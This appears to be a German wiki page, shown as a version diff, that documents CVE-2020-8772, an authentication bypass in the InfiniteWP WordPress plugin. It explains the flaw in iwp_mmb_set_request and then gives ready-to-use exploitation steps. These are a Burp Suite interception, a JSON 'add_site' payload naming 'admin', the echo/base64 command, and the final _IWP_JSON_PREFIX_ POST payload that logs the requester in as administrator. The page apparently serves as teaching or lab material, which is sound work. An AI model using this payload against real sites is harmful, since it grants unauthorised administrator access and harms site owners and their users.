Authentication Bypass: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 +
=CVE=
 +
*CVE-2020-8772
 
=Vorbermerkung=
 
=Vorbermerkung=
*Das Plugin (kommt hier noch rein)  
+
*Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
*
+
*Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
*
+
*Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
 +
*Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
 +
*(in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
 +
*Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
 +
*DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.
  
  

Version vom 12. April 2022, 14:56 Uhr

CVE

  • CVE-2020-8772

Vorbermerkung

  • Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
  • Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
  • Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
  • Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
  • (in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
  • Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
  • DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.


Request

  • Reload the target website and intercept the request using Burp Suite.

Authentication-Bypass-Wordpress.png

Payload

  • Create the JSON payload and convert it to base64.
Payload: {“iwp_action”:”add_site”,”params”:{“username”:”admin”}}
  • echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0

Authentication-Bypass-Wordpress1.png

  • Append the base64 generated payload with the String mentioned in the exploit URL.
Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
  • Right-click on Burp suite, and click on the “Change request method” to convert the request from GET to POST.
  • Place the payload created as POST request arguments.

Authentication-Bypass-Wordpress2.png

  • Click on Forward and turn of the intercept.




Bypass